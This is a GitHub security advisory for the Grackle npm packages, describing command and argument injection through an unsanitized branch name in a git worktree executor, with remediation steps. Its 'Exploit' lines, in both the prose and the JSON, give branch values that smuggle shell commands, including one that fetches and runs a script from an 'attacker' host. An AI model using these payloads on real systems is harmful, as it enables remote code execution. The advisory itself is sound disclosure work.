GHSA-VV65-F55V-XM6G

Vulnerability from github – Published: 2026-07-02 19:16 – Updated: 2026-07-02 19:16
VLAI
Summary
Grackle has command/argument injection in the git worktree executor that enables RCE on provisioned hosts via an unsanitized task branch name (shell:true)
Details

Summary

The default git executor used for all worktree operations spawns git through a shell, and the untrusted task branch name flows into the command unsanitized. A caller able to reach the PowerLine SpawnSession RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve arbitrary command execution as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox.

This advisory bundles two related defects in worktree.ts (audit findings F1 and F13).

Affected versions

@grackle-ai/runtime-sdk (and reachable via @grackle-ai/powerline) at version 0.132.1 and earlier. All publishable packages are lockstep-versioned.

F1 — Command injection via shell:true (primary, High)

Location: packages/runtime-sdk/src/worktree.ts:22-28 (sink), :135-143 (branch → args). Source: packages/powerline/src/grpc-server.ts:112 (req.branch), packages/runtime-sdk/src/base-session.ts:60,137.

NODE_GIT_EXECUTOR.exec runs:

const shell = process.env.SHELL || true;   // worktree.ts:24 — always truthy
const result = await execRaw("git", args, { ...options, shell });

When shell is truthy, Node does not pass args as a safe argv vector — it concatenates git + args into a single string run through sh -c with no escaping. The untrusted branch flows unvalidated from the SpawnSession gRPC request into:

["worktree", "add", "-b", branch, wtPath, startPoint]   // worktree.ts:135-137
["worktree", "add", wtPath, branch]                     // fallback :143

sanitizeBranch() (worktree.ts:50) is applied only to compute the on-disk worktree directory path — not to the -b <branch> argument — so it provides zero protection at the injection sink.

Exploit: set a task branch to x;curl http://attacker/x.sh|sh;# or $(touch /tmp/pwned). ensureWorktree runs it under sh -c, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value evilbranch;touch /tmp/PWNED created the file.)

The sibling git path in runtime-utils.ts:48-56 already uses execFileAsync("git", [...]) with no shell, confirming shell:true is unnecessary here.

F13 — Argument injection: missing -- separator (residual, Low)

Location: packages/runtime-sdk/src/worktree.ts:135-143.

Independent of the shell issue, branch is placed as a positional argument with no -- terminator. The sibling checkoutBranch (runtime-utils.ts:51) correctly uses ["checkout", "--", branch]. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; git worktree add exposes no dangerous flags reachable this way, so standalone impact is limited — but it should be hardened alongside F1.

Remediation

  1. Remove shell from NODE_GIT_EXECUTORexecFile('git', args) with the argv array is already safe and is the pattern used in runtime-utils.ts. This is the primary fix.
  2. Add a -- separator before positional refs/paths in both worktree add invocations.
  3. Defense in depth: validate branch at the gRPC boundary (grpc-server.ts) against git ref rules — reject names beginning with -, containing .., or containing shell metacharacters — before it reaches ensureWorktree.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@grackle-ai/runtime-sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.132.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@grackle-ai/powerline"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.132.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T19:16:57Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe default git executor used for all worktree operations spawns `git` through a shell, and the untrusted task **branch** name flows into the command unsanitized. A caller able to reach the PowerLine `SpawnSession` RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve **arbitrary command execution** as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox.\n\nThis advisory bundles two related defects in `worktree.ts` (audit findings **F1** and **F13**).\n\n## Affected versions\n\n`@grackle-ai/runtime-sdk` (and reachable via `@grackle-ai/powerline`) at version **0.132.1** and earlier. All publishable packages are lockstep-versioned.\n\n## F1 \u2014 Command injection via `shell:true` (primary, High)\n\n**Location:** `packages/runtime-sdk/src/worktree.ts:22-28` (sink), `:135-143` (branch \u2192 args). Source: `packages/powerline/src/grpc-server.ts:112` (`req.branch`), `packages/runtime-sdk/src/base-session.ts:60,137`.\n\n`NODE_GIT_EXECUTOR.exec` runs:\n\n```ts\nconst shell = process.env.SHELL || true;   // worktree.ts:24 \u2014 always truthy\nconst result = await execRaw(\"git\", args, { ...options, shell });\n```\n\nWhen `shell` is truthy, Node does **not** pass `args` as a safe argv vector \u2014 it concatenates `git` + args into a single string run through `sh -c` with **no escaping**. The untrusted `branch` flows unvalidated from the `SpawnSession` gRPC request into:\n\n```ts\n[\"worktree\", \"add\", \"-b\", branch, wtPath, startPoint]   // worktree.ts:135-137\n[\"worktree\", \"add\", wtPath, branch]                     // fallback :143\n```\n\n`sanitizeBranch()` (`worktree.ts:50`) is applied **only** to compute the on-disk worktree directory path \u2014 *not* to the `-b \u003cbranch\u003e` argument \u2014 so it provides zero protection at the injection sink.\n\n**Exploit:** set a task branch to `x;curl http://attacker/x.sh|sh;#` or `$(touch /tmp/pwned)`. `ensureWorktree` runs it under `sh -c`, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value `evilbranch;touch /tmp/PWNED` created the file.)\n\nThe sibling git path in `runtime-utils.ts:48-56` already uses `execFileAsync(\"git\", [...])` with **no** shell, confirming `shell:true` is unnecessary here.\n\n## F13 \u2014 Argument injection: missing `--` separator (residual, Low)\n\n**Location:** `packages/runtime-sdk/src/worktree.ts:135-143`.\n\nIndependent of the shell issue, `branch` is placed as a positional argument with no `--` terminator. The sibling `checkoutBranch` (`runtime-utils.ts:51`) correctly uses `[\"checkout\", \"--\", branch]`. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; `git worktree add` exposes no dangerous flags reachable this way, so standalone impact is limited \u2014 but it should be hardened alongside F1.\n\n## Remediation\n\n1. **Remove `shell` from `NODE_GIT_EXECUTOR`** \u2014 `execFile(\u0027git\u0027, args)` with the argv array is already safe and is the pattern used in `runtime-utils.ts`. This is the primary fix.\n2. Add a `--` separator before positional refs/paths in both `worktree add` invocations.\n3. **Defense in depth:** validate `branch` at the gRPC boundary (`grpc-server.ts`) against git ref rules \u2014 reject names beginning with `-`, containing `..`, or containing shell metacharacters \u2014 before it reaches `ensureWorktree`.",
  "id": "GHSA-vv65-f55v-xm6g",
  "modified": "2026-07-02T19:16:57Z",
  "published": "2026-07-02T19:16:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nick-pape/grackle/security/advisories/GHSA-vv65-f55v-xm6g"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nick-pape/grackle"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grackle has command/argument injection in the git worktree executor that enables RCE on provisioned hosts via an unsanitized task branch name (shell:true)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…